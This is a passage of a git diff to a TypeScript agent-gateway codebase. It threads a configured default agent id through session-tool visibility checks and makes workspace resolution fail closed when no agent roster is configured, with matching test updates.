subject to the fail-closed visibility checker below, + // but cannot participate in agent state-version lookup. + return []; + } + } + return [{ sessionKey: entry.key, agentId: stateAgentId }]; + }), ); const storePath = typeof list?.path === "string" ? list.path : undefined; const visibilityGuard = createSessionVisibilityRowChecker({ action: "list", + defaultAgentId, requesterSessionKey: effectiveRequesterKey, visibility, a2aPolicy, @@ -301,7 +308,7 @@ export function createSessionsListTool(opts?: { const sessionId = readStringValue(entry.sessionId); const sessionFileRaw = (entry as { sessionFile?: unknown }).sessionFile; const sessionFile = readStringValue(sessionFileRaw); - const resolvedAgentId = resolveAgentIdFromSessionKey(key); + const resolvedAgentId = resolveAgentIdFromSessionKey(key, defaultAgentId); // Version lookup keys on the store-owning agent (gateway row agentId), not the // key-derived agent: bare "global" keys parse to the default agent id. const stateVersionAgentId = diff --git a/src/agents/tools/sessions-search-tool.test.ts b/src/agents/tools/sessions-search-tool.test.ts index 54028f82c215..a64f9a383f70 100644 --- a/src/agents/tools/sessions-search-tool.test.ts +++ b/src/agents/tools/sessions-search-tool.test.ts @@ -30,8 +30,15 @@ function createTool(params: { requests?: CallGatewayRequest[]; truncated?: boolean; }) { + const config = params.config ?? { tools: { sessions: { visibility: "self" } } }; return createSessionsSearchTool({ - config: params.config ?? { tools: { sessions: { visibility: "self" } } }, + config: { + ...config, + agents: { + entries: { main: { default: true } }, + ...(config.agents as Record | undefined), + }, + }, agentId: params.agentId, agentSessionKey: params.agentSessionKey, sandboxed: params.sandboxed, @@ -273,7 +280,10 @@ describe("sessions_search tool", () => { it("accepts the gateway's canonical key for the current-session alias", async () => { const tool = createSessionsSearchTool({ - config: { tools: { sessions: { visibility: "self" } } }, + config: { + agents: { entries: { main: { default: true } } }, + tools: { sessions: { visibility: "self" } }, + }, callGateway: async >(request: CallGatewayRequest): Promise => { if (request.method === "sessions.list") { return { sessions: [], hasMore: false } as T; diff --git a/src/agents/tools/sessions-search-tool.ts b/src/agents/tools/sessions-search-tool.ts index eb6f160fac27..613c365cd03e 100644 --- a/src/agents/tools/sessions-search-tool.ts +++ b/src/agents/tools/sessions-search-tool.ts @@ -11,6 +11,7 @@ import { parseAgentSessionKey, } from "../../routing/session-key.js"; import { truncateUtf16Safe } from "../../utils.js"; +import { resolveDefaultAgentId } from "../agent-scope-config.js"; import { resolveSessionAgentId } from "../agent-scope.js"; import { optionalPositiveIntegerSchema } from "../schema/typebox.js"; import { @@ -386,41 +387,40 @@ export function createSessionsSearchTool(opts?: { sandboxed: opts?.sandboxed === true, }); const a2aPolicy = createAgentToAgentPolicy(cfg); + const defaultAgentId = resolveDefaultAgentId(cfg); + const requesterAgentId = + opts?.agentId ?? resolveSessionAgentId({ sessionKey: effectiveRequesterKey, config: cfg }); const guard = await createSessionVisibilityGuard({ action: "history", - requesterAgentId: opts?.agentId, + defaultAgentId, + requesterAgentId, requesterSessionKey: effectiveRequesterKey, visibility, a2aPolicy, }); const rowGuard = createSessionVisibilityRowChecker({ action: "history", - requesterAgentId: opts?.agentId, + defaultAgentId, + requesterAgentId, requesterSessionKey: effectiveRequesterKey, visibility, a2aPolicy, }); if (sessionKey) { - const access = - opts?.agentId && !parseAgentSessionKey(sessionKey) - ? rowGuard.check({ key: sessionKey, agentId: opts.agentId }) - : guard.check(sessionKey); + const access = !parseAgentSessionKey(sessionKey) + ? rowGuard.check({ key: sessionKey, agentId: requesterAgentId }) + : guard.check(sessionKey); if (!access.allowed) { return jsonResult({ status: access.status, error: access.error }); } } - const requesterAgentId = - opts?.agentId ?? resolveSessionAgentId({ sessionKey: effectiveRequesterKey, config: cfg }); - const searchSessions = ( sessionKey ? [ { key: sessionKey, access: "direct" as const, - ...(opts?.agentId && !parseAgentSessionKey(sessionKey) - ? { agentId: opts.agentId } - : {}), + ...(!parseAgentSessionKey(sessionKey) ? { agentId: requesterAgentId } : {}), }, ] : await listVisibleSearchSessions({ diff --git a/src/agents/tools/sessions-send-tool.ts b/src/agents/tools/sessions-send-tool.ts index d799fe2f9720..4b6957e192bc 100644 --- a/src/agents/tools/sessions-send-tool.ts +++ b/src/agents/tools/sessions-send-tool.ts @@ -29,6 +29,7 @@ import { type GatewayMessageChannel, INTERNAL_MESSAGE_CHANNEL, } from "../../utils/message-channel.js"; +import { resolveDefaultAgentId } from "../agent-scope-config.js"; import { listAgentIds } from "../agent-scope.js"; import { type EmbeddedAgentQueueMessageOptions, @@ -177,7 +178,10 @@ function isConfiguredAgentMainSessionKey(params: { sessionKey: string; mainKey: string; }): boolean { - const agentId = resolveAgentIdFromSessionKey(params.sessionKey); + const agentId = resolveAgentIdFromSessionKey( + params.sessionKey, + resolveDefaultAgentId(params.cfg), + ); return ( params.sessionKey === resolveConfiguredAgentMainSessionKey({ @@ -217,7 +221,7 @@ async function ensureConfiguredAgentMainSession(params: { try { const createParams = { key: params.sessionKey, - agentId: resolveAgentIdFromSessionKey(params.sessionKey), + agentId: resolveAgentIdFromSessionKey(params.sessionKey, resolveDefaultAgentId(params.cfg)), }; if ( params.useTrustedInProcessCreation && @@ -469,7 +473,10 @@ export function createSessionsSendTool(opts?: { sessionKey = agentMainKey; } if (!sessionKey && labelParam) { - const requesterAgentId = resolveAgentIdFromSessionKey(effectiveRequesterKey); + const requesterAgentId = resolveAgentIdFromSessionKey( + effectiveRequesterKey, + resolveDefaultAgentId(cfg), + ); const requestedAgentId = labelAgentIdParam ? normalizeAgentId(labelAgentIdParam) : undefined; @@ -615,6 +622,7 @@ export function createSessionsSendTool(opts?: { } const visibilityGuard = await createSessionVisibilityGuard({ action: "send", + defaultAgentId: resolveDefaultAgentId(cfg), requesterSessionKey: effectiveRequesterKey, visibility: sessionVisibility, a2aPolicy, diff --git a/src/agents/tools/sessions-tool.ts b/src/agents/tools/sessions-tool.ts index 04696b0584f6..4f7450155909 100644 --- a/src/agents/tools/sessions-tool.ts +++ b/src/agents/tools/sessions-tool.ts @@ -6,6 +6,7 @@ import { getRuntimeConfig } from "../../config/config.js"; import type { OpenClawConfig } from "../../config/types.openclaw.js"; import { withAgentSessionModelPatchOrigin } from "../../gateway/session-model-patch-origin.js"; import { isIncognitoSessionKey, resolveAgentIdFromSessionKey } from "../../routing/session-key.js"; +import { resolveDefaultAgentId } from "../agent-scope-config.js"; import { stringEnum } from "../schema/typebox.js"; import type { AnyAgentTool } from "./common.js"; import { jsonResult, readStringParam, ToolAuthorizationError, ToolInputError } from "./common.js"; @@ -158,8 +159,12 @@ async function resolvePatchTarget( // the action only selects error copy. Owner gating remains separate. const guard = await createSessionVisibilityGuard({ action: "status", + defaultAgentId: resolveDefaultAgentId(context.cfg), requesterSessionKey: context.effectiveRequesterKey, - requesterAgentId: resolveAgentIdFromSessionKey(context.effectiveRequesterKey), + requesterAgentId: resolveAgentIdFromSessionKey( + context.effectiveRequesterKey, + resolveDefaultAgentId(context.cfg), + ), visibility: resolveEffectiveSessionToolsVisibility({ cfg: context.cfg, sandboxed: opts.sandboxed === true, diff --git a/src/agents/workspace-dirs.ts b/src/agents/workspace-dirs.ts index 51812c705ee8..e11a9e9ce93c 100644 --- a/src/agents/workspace-dirs.ts +++ b/src/agents/workspace-dirs.ts @@ -5,19 +5,31 @@ * plus the default agent workspace without duplicating agent-scope logic. */ import type { OpenClawConfig } from "../config/types.openclaw.js"; -import { resolveAgentWorkspaceDir, resolveDefaultAgentId } from "./agent-scope.js"; +import { resolveUserPath } from "../utils.js"; +import { + listAgentEntries, + resolveAgentWorkspaceDir, + resolveDefaultAgentId, +} from "./agent-scope.js"; /** Lists unique workspace directories for configured agents and the default agent. */ export function listAgentWorkspaceDirs(cfg: OpenClawConfig): string[] { const dirs = new Set(); - const list = cfg.agents?.list; - if (Array.isArray(list)) { - for (const entry of list) { - if (entry && typeof entry === "object" && typeof entry.id === "string") { - dirs.add(resolveAgentWorkspaceDir(cfg, entry.id)); - } - } + for (const entry of listAgentEntries(cfg)) { + dirs.add(resolveAgentWorkspaceDir(cfg, entry.id)); } dirs.add(resolveAgentWorkspaceDir(cfg, resolveDefaultAgentId(cfg))); return [...dirs]; } + +/** Lists only entry-authored workspace paths without requiring a valid default marker. */ +export function listExplicitAgentWorkspaceDirs(cfg: OpenClawConfig): string[] { + const dirs = new Set(); + for (const entry of listAgentEntries(cfg)) { + const workspace = typeof entry.workspace === "string" ? entry.workspace.trim() : ""; + if (workspace) { + dirs.add(resolveUserPath(workspace)); + } + } + return [...dirs]; +} diff --git a/src/agents/workspace-run.test.ts b/src/agents/workspace-run.test.ts index b0d3525202a6..90b3ddd12e66 100644 --- a/src/agents/workspace-run.test.ts +++ b/src/agents/workspace-run.test.ts @@ -1,16 +1,19 @@ // Workspace run tests cover runtime workspace resolution from explicit input, // agent config, session keys, and environment fallback. import path from "node:path"; -import { describe, expect, it } from "vitest"; +import { describe, expect, it, vi } from "vitest"; import type { OpenClawConfig } from "../config/config.js"; import { resolveRunWorkspaceDir } from "./workspace-run.js"; +vi.unmock("./agent-scope-config.js"); + describe("resolveRunWorkspaceDir", () => { it("resolves explicit workspace values without fallback", () => { const explicit = path.join(process.cwd(), "tmp", "workspace-run-explicit"); const result = resolveRunWorkspaceDir({ workspaceDir: explicit, sessionKey: "agent:main:subagent:test", + config: { agents: { list: [{ id: "main", default: true }] } }, }); expect(result.usedFallback).toBe(false); @@ -22,7 +25,7 @@ describe("resolveRunWorkspaceDir", () => { it("recognizes an explicitly supplied configured workspace as canonical", () => { const workspaceDir = path.join(process.cwd(), "tmp", "workspace-run-canonical"); const cfg = { - agents: { defaults: { workspace: workspaceDir } }, + agents: { defaults: { workspace: workspaceDir }, list: [{ id: "main", default: true }] }, } satisfies OpenClawConfig; const result = resolveRunWorkspaceDir({ @@ -41,7 +44,7 @@ describe("resolveRunWorkspaceDir", () => { const cfg = { agents: { defaults: { workspace: defaultWorkspace }, - list: [{ id: "research", workspace: researchWorkspace }], + list: [{ id: "research", workspace: researchWorkspace, default: true }], }, } satisfies OpenClawConfig; @@ -63,6 +66,7 @@ describe("resolveRunWorkspaceDir", () => { const cfg = { agents: { defaults: { workspace: defaultWorkspace }, + list: [{ id: "main", default: true }], }, } satisfies OpenClawConfig; @@ -78,19 +82,16 @@ describe("resolveRunWorkspaceDir", () => { expect(result.workspaceDir).toBe(path.resolve(defaultWorkspace)); }); - it("falls back to built-in main workspace when config is unavailable", () => { + it("refuses to invent an agent when config is unavailable", () => { const workspaceDir = path.join(path.sep, "srv", "openclaw-workspace"); - const result = resolveRunWorkspaceDir({ - workspaceDir: null, - sessionKey: "agent:main:subagent:test", - config: undefined, - env: { ...process.env, OPENCLAW_WORKSPACE_DIR: workspaceDir }, - }); - - expect(result.usedFallback).toBe(true); - expect(result.fallbackReason).toBe("missing"); - expect(result.agentId).toBe("main"); - expect(result.workspaceDir).toBe(path.resolve(workspaceDir)); + expect(() => + resolveRunWorkspaceDir({ + workspaceDir: null, + sessionKey: "custom-main-key", + config: undefined, + env: { ...process.env, OPENCLAW_WORKSPACE_DIR: workspaceDir }, + }), + ).toThrow(expect.objectContaining({ code: "RUN_WORKSPACE_ROSTER_REQUIRED" })); }); it("throws for malformed agent session keys", () => { @@ -103,24 +104,46 @@ describe("resolveRunWorkspaceDir", () => { ).toThrow("Malformed agent session key"); }); - it("uses explicit agent id for per-agent fallback when config is unavailable", () => { + it("requires roster config for per-agent fallback", () => { const env = { ...process.env, HOME: "/home/runner", OPENCLAW_HOME: undefined, OPENCLAW_STATE_DIR: "/tmp/openclaw-state", } satisfies NodeJS.ProcessEnv; - const result = resolveRunWorkspaceDir({ - workspaceDir: undefined, - sessionKey: "definitely-not-a-valid-session-key", - agentId: "research", - config: undefined, - env, - }); + expect(() => + resolveRunWorkspaceDir({ + workspaceDir: undefined, + sessionKey: "definitely-not-a-valid-session-key", + agentId: "research", + config: undefined, + env, + }), + ).toThrow(expect.objectContaining({ code: "RUN_WORKSPACE_ROSTER_REQUIRED" })); + }); - expect(result.agentId).toBe("research"); - expect(result.agentIdSource).toBe("explicit"); - expect(result.workspaceDir).toBe(path.resolve("/tmp/openclaw-state", "workspace-research")); + it("rejects an explicit agent when the supplied config has no roster", () => { + expect(() => + resolveRunWorkspaceDir({ + workspaceDir: undefined, + agentId: "research", + config: {}, + }), + ).toThrow(expect.objectContaining({ code: "RUN_WORKSPACE_ROSTER_REQUIRED" })); + }); + + it.each([ + { agentId: "research", sessionKey: undefined }, + { agentId: undefined, sessionKey: "agent:research:subagent:test" }, + ])("rejects an unconfigured workspace owner for $sessionKey", ({ agentId, sessionKey }) => { + expect(() => + resolveRunWorkspaceDir({ + workspaceDir: undefined, + agentId, + sessionKey, + config: { agents: { entries: { ops: { default: true } } } }, + }), + ).toThrow(expect.objectContaining({ code: "RUN_WORKSPACE_AGENT_NOT_CONFIGURED" })); }); it("throws for malformed agent session keys even when config has a default agent", () => { @@ -152,6 +175,7 @@ describe("resolveRunWorkspaceDir", () => { const cfg = { agents: { defaults: { workspace: fallbackWorkspace }, + list: [{ id: "main", default: true }], }, } satisfies OpenClawConfig; diff --git a/src/agents/workspace-run.ts b/src/agents/workspace-run.ts index 71ba5c3123e2..d689ab7e0692 100644 --- a/src/agents/workspace-run.ts +++ b/src/agents/workspace-run.ts @@ -8,12 +8,16 @@ import { logWarn } from "../logger.js"; import { redactIdentifier } from "../logging/redact-identifier.js"; import { classifySessionKeyShape, - DEFAULT_AGENT_ID, normalizeAgentId, parseAgentSessionKey, } from "../routing/session-key.js"; import { resolveUserPath } from "../utils.js"; -import { resolveAgentWorkspaceDir, resolveDefaultAgentId } from "./agent-scope.js"; +import { hasAgentRosterProperty } from "./agent-scope-config.js"; +import { + resolveAgentConfig, + resolveAgentWorkspaceDir, + resolveDefaultAgentId, +} from "./agent-scope.js"; import { sanitizeForPromptLiteral } from "./sanitize-for-prompt.js"; type WorkspaceFallbackReason = "missing" | "blank" | "invalid_type"; @@ -28,10 +32,32 @@ export type ResolveRunWorkspaceResult = { agentIdSource: AgentIdSource; }; +const RUN_WORKSPACE_ROSTER_REQUIRED_ERROR_CODE = "RUN_WORKSPACE_ROSTER_REQUIRED"; + +class RunWorkspaceRosterRequiredError extends Error { + readonly code = RUN_WORKSPACE_ROSTER_REQUIRED_ERROR_CODE; + + constructor() { + super("No agents configured; run workspace resolution requires an explicit roster."); + this.name = "RunWorkspaceRosterRequiredError"; + } +} + +class RunWorkspaceAgentNotConfiguredError extends Error { + readonly code = "RUN_WORKSPACE_AGENT_NOT_CONFIGURED"; + readonly agentId: string; + + constructor(agentId: string) { + super(`Agent ${agentId} is not present in the configured roster.`); + this.name = "RunWorkspaceAgentNotConfiguredError"; + this.agentId = agentId; + } +} + function resolveRunAgentId(params: { sessionKey?: string; agentId?: string; - config?: OpenClawConfig; + config: OpenClawConfig; }): { agentId: string; agentIdSource: AgentIdSource; @@ -50,10 +76,9 @@ function resolveRunAgentId(params: { return { agentId: explicit, agentIdSource: "explicit" }; } - const defaultAgentId = resolveDefaultAgentId(params.config ?? {}); if (shape === "missing" || shape === "legacy_or_alias") { return { - agentId: defaultAgentId || DEFAULT_AGENT_ID, + agentId: resolveDefaultAgentId(params.config), agentIdSource: "default", }; } @@ -67,10 +92,7 @@ function resolveRunAgentId(params: { } // Defensive fallback, should be unreachable for non-malformed shapes. - return { - agentId: defaultAgentId || DEFAULT_AGENT_ID, - agentIdSource: "default", - }; + throw new Error("Session key does not resolve to a configured agent."); } /** Redacts a run/session identifier for logs and prompts. */ @@ -86,13 +108,26 @@ export function resolveRunWorkspaceDir(params: { config?: OpenClawConfig; env?: NodeJS.ProcessEnv; }): ResolveRunWorkspaceResult { + const rawSessionKey = params.sessionKey?.trim() ?? ""; + if (classifySessionKeyShape(rawSessionKey) === "malformed_agent") { + throw new Error("Malformed agent session key; refusing workspace resolution."); + } + // Workspace ownership is an isolation boundary. Raw/configless SDK inputs may + // retain implicit-main routing compatibility, but must not invent an owner here. + const config = params.config; + if (!config || !hasAgentRosterProperty(config)) { + throw new RunWorkspaceRosterRequiredError(); + } const env = params.env ?? process.env; const requested = params.workspaceDir; const { agentId, agentIdSource } = resolveRunAgentId({ sessionKey: params.sessionKey, agentId: params.agentId, - config: params.config, + config, }); + if (!resolveAgentConfig(config, agentId)) { + throw new RunWorkspaceAgentNotConfiguredError(agentId); + } if (typeof requested === "string") { const trimmed = requested.trim(); if (trimmed) { @@ -102,7 +137,7 @@ export function resolveRunWorkspaceDir(params: { } const workspaceDir = resolveUserPath(sanitized, env); const canonicalWorkspaceDir = resolveUserPath( - resolveAgentWorkspaceDir(params.config ?? {}, agentId, env), + resolveAgentWorkspaceDir(config, agentId, env), env, ); return { @@ -117,7 +152,7 @@ export function resolveRunWorkspaceDir(params: { const fallbackReason: WorkspaceFallbackReason = requested == null ? "missing" : typeof requested === "string" ? "blank" : "invalid_type"; - const fallbackWorkspace = resolveAgentWorkspaceDir(params.config ?? {}, agentId, env); + const fallbackWorkspace = resolveAgentWorkspaceDir(config, agentId, env); const sanitizedFallback = sanitizeForPromptLiteral(fallbackWorkspace); if (sanitizedFallback !== fallbackWorkspace) { logWarn("Control/format characters stripped from fallback workspaceDir (OC-19 hardening)."); diff --git a/src/auto-reply/reply.directive.directive-behavior.shows-current-verbose-level-verbose-has-no.test.ts b/src/auto-reply/reply.directive.directive-behavior.shows-current-verbose-level-verbose-has-no.test.ts index ce47d012aaca..eef4919d236b 100644 --- a/src/auto-reply/reply.directive.directive-behavior.shows-current-verbose-level-verbose-has-no.test.ts +++ b/src/auto-reply/reply.directive.directive-behavior.shows-current-verbose-level-verbose-has-no.test.ts @@ -3,6 +3,7 @@ import "./reply.directive.directive-behavior.e2e-mocks.js"; import { describe, expect, it } from "vitest"; import type { ModelAliasIndex } from "../agents/model-selection.js"; import type { OpenClawConfig } from "../config/config.js"; +import { migratePersistedImplicitMainRoster } from "../config/legacy.roster.js"; import type { SessionEntry } from "../config/sessions.js"; import { installDirectiveBehaviorE2EHooks } from "./reply.directive.directive-behavior.e2e-harness.js"; import { runEmbeddedAgentMock } from "./reply.directive.directive-behavior.e2e-mocks.js"; @@ -42,10 +43,11 @@ async function runDirectiveStatus( sessionKey: _ignoredSessionKey, sessionEntry: _ignoredSessionEntry, sessionStore: _ignoredSessionStore, + cfg: overrideCfg, ...restOverrides } = overrides; const result = await handleDirectiveOnly({ - cfg, + cfg: migratePersistedImplicitMainRoster(overrideCfg ?? cfg).config as OpenClawConfig, directives: parseInlineDirectives(body), sessionEntry: effectiveSessionEntry, sessionStore: effectiveSessionStore, diff --git a/src/auto-reply/reply/agent-runner-context-recovery.ts b/src/auto-reply/reply/agent-runner-context-recovery.ts index 05ccba1cbba0..5a33243ba663 100644 --- a/src/auto-reply/reply/agent-runner-context-recovery.ts +++ b/src/auto-reply/reply/agent-runner-context-recovery.ts @@ -2,6 +2,7 @@ import { normalizeLowercaseStringOrEmpty, normalizeOptionalString, } from "@openclaw/normalization-core/string-coerce"; +import { resolveAgentConfig } from "../../agents/agent-scope-config.js"; import { resolveContextTokensForModel } from "../../agents/context.js"; import { resolveModelRefFromString } from "../../agents/model-selection.js"; import type { SessionEntry } from "../../config/sessions.js"; @@ -23,11 +24,7 @@ function resolveAgentHeartbeatModelRaw(params: { const defaultModel = normalizeOptionalString(params.cfg.agents?.defaults?.heartbeat?.model); const agentId = normalizeLowercaseStringOrEmpty(params.agentId); const agentModel = agentId - ? normalizeOptionalString( - params.cfg.agents?.list?.find( - (entry) => normalizeLowercaseStringOrEmpty(entry?.id) === agentId, - )?.heartbeat?.model, - ) + ? normalizeOptionalString(resolveAgentConfig(params.cfg, agentId)?.heartbeat?.model) : undefined; return agentModel ?? defaultModel; } @@ -75,11 +72,7 @@ function resolveAgentContextTokensForHint(params: { ); const agentId = normalizeLowercaseStringOrEmpty(params.agentId); const agentContextTokens = agentId - ? normalizePositiveContextTokens( - params.cfg.agents?.list?.find( - (entry) => normalizeLowercaseStringOrEmpty(entry?.id) === agentId, - )?.contextTokens, - ) + ? normalizePositiveContextTokens(resolveAgentConfig(params.cfg, agentId)?.contextTokens) : undefined; return agentContextTokens ?? defaultContextTokens; } diff --git a/src/auto-reply/reply/agent-runner-memory.ts b/src/auto-reply/reply/agent-runner-memory.ts index 0d8f866528f1..4cb9b943d42e 100644 --- a/src/auto-reply/reply/agent-runner-memory.ts +++ b/src/auto-reply/reply/agent-runner-memory.ts @@ -410,7 +410,7 @@ function resolveSessionLogPath( sessionId?: string, sessionEntry?: SessionEntry, sessionKey?: string, - opts?: { storePath?: string }, + opts?: { agentId?: string; storePath?: string }, ): string | undefined { if (!sessionId) { return undefined; @@ -424,7 +424,9 @@ function resolveSessionLogPath( if (parseSqliteSessionFileMarker(sessionFile)) { return sessionFile; } - const agentId = resolveAgentIdFromSessionKey(sessionKey); + const agentId = + opts?.agentId ?? + (sessionKey?.startsWith("agent:") ? resolveAgentIdFromSessionKey(sessionKey) : undefined); if (!sessionFile && agentId && opts?.storePath) { return formatSqliteSessionFileMarker({ agentId, @@ -511,7 +513,7 @@ async function readSessionLogSnapshot(params: { sessionId?: string; sessionEntry?: SessionEntry; sessionKey?: string; - opts?: { storePath?: string }; + opts?: { agentId?: string; storePath?: string }; includeByteSize: boolean; includeUsage: boolean; }): Promise { @@ -652,6 +654,7 @@ type TranscriptTokenEstimate = { }; async function estimatePromptTokensFromSessionTranscript(params: { + agentId?: string; sessionId?: string; sessionEntry?: SessionEntry; sessionKey?: string; @@ -666,7 +669,7 @@ async function estimatePromptTokensFromSessionTranscript(params: { sessionId, sessionEntry: params.sessionEntry, sessionKey: params.sessionKey, - opts: { storePath: params.storePath }, + opts: { agentId: params.agentId, storePath: params.storePath }, includeByteSize: true, includeUsage: true, }); @@ -840,6 +843,7 @@ export async function runPreflightCompactionIfNeeded(params: { typeof freshPersistedTokens === "number" && !freshNeedsOutputRead ? undefined : await estimatePromptTokensFromSessionTranscript({ + agentId: params.followupRun.run.agentId, sessionId: entry.sessionId, sessionEntry: entry, sessionKey: params.sessionKey ?? params.followupRun.run.sessionKey, @@ -851,7 +855,7 @@ export async function runPreflightCompactionIfNeeded(params: { sessionId: entry.sessionId, sessionEntry: entry, sessionKey: params.sessionKey ?? params.followupRun.run.sessionKey, - opts: { storePath: params.storePath }, + opts: { agentId: params.followupRun.run.agentId, storePath: params.storePath }, includeByteSize: true, includeUsage: false, }) @@ -954,7 +958,7 @@ export async function runPreflightCompactionIfNeeded(params: { entry.sessionId, entry, params.sessionKey ?? params.followupRun.run.sessionKey, - { storePath: params.storePath }, + { agentId: params.followupRun.run.agentId, storePath: params.storePath }, ); if (!sessionFile) { await notifyTerminalCompaction("skipped"); @@ -1191,7 +1195,7 @@ export async function runMemoryFlushIfNeeded(params: { sessionId: params.followupRun.run.sessionId, sessionEntry: entry, sessionKey: params.sessionKey ?? params.followupRun.run.sessionKey, - opts: { storePath: params.storePath }, + opts: { agentId: params.followupRun.run.agentId, storePath: params.storePath }, includeByteSize: shouldCheckTranscriptSizeForForcedFlush, includeUsage: shouldReadTranscript, }) diff --git a/src/auto-reply/reply/agent-runner-session-reset.ts b/src/auto-reply/reply/agent-runner-session-reset.ts index b9fdb732525a..fd63bff4afaa 100644 --- a/src/auto-reply/reply/agent-runner-session-reset.ts +++ b/src/auto-reply/reply/agent-runner-session-reset.ts @@ -3,7 +3,6 @@ import { clearAllCliSessions } from "../../agents/cli-session.js"; // Handles session reset requests produced during agent runner execution. import { transitionMainSessionRecovery } from "../../agents/main-session-recovery-state.js"; import type { SessionEntry } from "../../config/sessions.js"; -import { resolveAgentIdFromSessionKey } from "../../config/sessions.js"; import { persistSessionResetLifecycle } from "../../config/sessions/session-accessor.js"; import { formatSqliteSessionFileMarker, @@ -107,7 +106,7 @@ export async function resetReplyRunSession(params: { clearAllCliSessions(nextEntry); nextEntry.agentHarnessId = undefined; transitionMainSessionRecovery(nextEntry, { kind: "clear" }); - const agentId = resolveAgentIdFromSessionKey(params.sessionKey); + const agentId = params.followupRun.run.agentId; const nextSessionFile = (sqliteSessionFileMarkerMatchesTarget(prevEntry.sessionFile, { agentId, diff --git a/src/auto-reply/reply/agent-runner.misc.runreplyagent.test.ts b/src/auto-reply/reply/agent-runner.misc.runreplyagent.test.ts index ee296161df2f..aea629e18d0e 100644 --- a/src/auto-reply/reply/agent-runner.misc.runreplyagent.test.ts +++ b/src/auto-reply/reply/agent-runner.misc.runreplyagent.test.ts @@ -541,7 +541,7 @@ describe("runReplyAgent auto-compaction token update", () => { it("keeps an unarmed preflight drain visible instead of dropping the reply", async () => { const tmp = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-preflight-drain-")); const storePath = path.join(tmp, "sessions.json"); - const sessionKey = "main"; + const sessionKey = "agent:main:main"; const sessionEntry = { sessionId: "session", updatedAt: Date.now(), @@ -579,6 +579,7 @@ describe("runReplyAgent auto-compaction token update", () => { typingMode: "instant", }); + expect(compactState.compactEmbeddedAgentSessionMock).toHaveBeenCalledTimes(1); expectReplyText(result, "⚠️ Gateway is restarting. Please wait a few seconds and try again."); }); diff --git a/src/auto-reply/reply/commands-core.test.ts b/src/auto-reply/reply/commands-core.test.ts index b21773d2410c..ac5de948cda5 100644 --- a/src/auto-reply/reply/commands-core.test.ts +++ b/src/auto-reply/reply/commands-core.test.ts @@ -38,7 +38,12 @@ function firstBeforeResetCall() { } describe("emitResetCommandHooks", () => { - async function runBeforeResetContext(sessionKey?: string) { + async function runBeforeResetContext( + sessionKey?: string, + cfg: HandleCommandsParams["cfg"] = { + agents: { entries: { main: { default: true } } }, + }, + ) { const command = { surface: "discord", senderId: "rai", @@ -51,7 +56,7 @@ describe("emitResetCommandHooks", () => { await emitResetCommandHooks({ action: "new", ctx: {} as HandleCommandsParams["ctx"], - cfg: {} as HandleCommandsParams["cfg"], + cfg, command, sessionKey, previousSessionEntry: { @@ -87,9 +92,11 @@ describe("emitResetCommandHooks", () => { expect(ctx?.workspaceDir).toBe("/tmp/openclaw-workspace"); }); - it("falls back to main when the reset hook has no session key", async () => { - const ctx = await runBeforeResetContext(undefined); - expect(ctx?.agentId).toBe("main"); + it("uses the configured default when the reset hook has no session key", async () => { + const ctx = await runBeforeResetContext(undefined, { + agents: { entries: { ops: { default: true } } }, + }); + expect(ctx?.agentId).toBe("ops"); expect(ctx?.sessionKey).toBeUndefined(); expect(ctx?.sessionId).toBe("prev-session"); expect(ctx?.workspaceDir).toBe("/tmp/openclaw-workspace"); diff --git a/src/auto-reply/reply/commands-learn.test.ts b/src/auto-reply/reply/commands-learn.test.ts index d6390d4d4e6f..b7dcc2064348 100644 --- a/src/auto-reply/reply/commands-learn.test.ts +++ b/src/auto-reply/reply/commands-learn.test.ts @@ -1,5 +1,6 @@ // Tests /learn prompt rewriting, defaults, standards, and availability gating. import { describe, expect, it } from "vitest"; +import { migratePersistedImplicitMainRoster } from "../../config/legacy.roster.js"; import type { OpenClawConfig } from "../../config/types.openclaw.js"; import { DEFAULT_LEARN_REQUEST } from "../../skills/workshop/learn-prompt.js"; import { INTERNAL_MESSAGE_CHANNEL } from "../../utils/message-channel.js"; @@ -30,8 +31,9 @@ function buildLearnParams( commandBodyNormalized: string, cfg: OpenClawConfig = {}, ): HandleCommandsParams { + const loadedConfig = migratePersistedImplicitMainRoster(cfg).config as OpenClawConfig; return { - cfg: { ...cfg, models: cfg.models ?? DEFAULT_TEST_MODELS }, + cfg: { ...loadedConfig, models: loadedConfig.models ?? DEFAULT_TEST_MODELS }, ctx: { Provider: INTERNAL_MESSAGE_CHANNEL, Surface: INTERNAL_MESSAGE_CHANNEL, diff --git a/src/auto-reply/reply/commands-plugins.install.test.ts b/src/auto-reply/reply/commands-plugins.install.test.ts index f21faddafbf1..c1531c3c432a 100644 --- a/src/auto-reply/reply/commands-plugins.install.test.ts +++ b/src/auto-reply/reply/commands-plugins.install.test.ts @@ -202,7 +202,10 @@ describe("handleCommands /plugins install", () => { const installParams = mockFirstObjectArg(installPluginFromNpmSpecMock); expectObjectFields(installParams, { spec: "@acme/policy-plugin@1.0.0", - config: policyConfig, + config: { + ...policyConfig, + agents: { entries: { main: { default: true } } }, + }, mode: "update", }); expect(installParams).not.toHaveProperty("expectedPluginId"); @@ -262,7 +265,10 @@ describe("handleCommands /plugins install", () => { expect(result?.reply?.text).toContain('Installed plugin "brave"'); expectObjectFields(mockFirstObjectArg(installPluginFromNpmSpecMock), { spec: "@openclaw/brave-plugin", - config: policyConfig, + config: { + ...policyConfig, + agents: { entries: { main: { default: true } } }, + }, expectedPluginId: "brave", trustedSourceLinkedOfficialInstall: true, }); diff --git a/src/auto-reply/reply/commands-reset-hooks.ts b/src/auto-reply/reply/commands-reset-hooks.ts index 6d83d88fedd0..0de1ead44538 100644 --- a/src/auto-reply/reply/commands-reset-hooks.ts +++ b/src/auto-reply/reply/commands-reset-hooks.ts @@ -1,10 +1,10 @@ // Emits reset hooks and cleanup work around session reset commands. +import { resolveSessionAgentId } from "../../agents/agent-scope.js"; import { loadTranscriptEvents } from "../../config/sessions/session-accessor.js"; import { selectSessionTranscriptLeafControlledPath } from "../../config/sessions/transcript-tree.js"; import { logVerbose } from "../../globals.js"; import { createInternalHookEvent, triggerInternalHook } from "../../hooks/internal-hooks.js"; import { getGlobalHookRunner } from "../../plugins/hook-runner-global.js"; -import { resolveAgentIdFromSessionKey } from "../../routing/session-key.js"; import { createLazyImportLoader } from "../../shared/lazy-promise.js"; import type { HandleCommandsParams } from "./commands-types.js"; @@ -117,7 +117,7 @@ export async function emitResetCommandHooks(params: { const hookRunner = getGlobalHookRunner(); if (hookRunner?.hasHooks("before_reset")) { const prevEntry = params.previousSessionEntry; - const agentId = resolveAgentIdFromSessionKey(params.sessionKey); + const agentId = resolveSessionAgentId({ sessionKey: params.sessionKey, config: 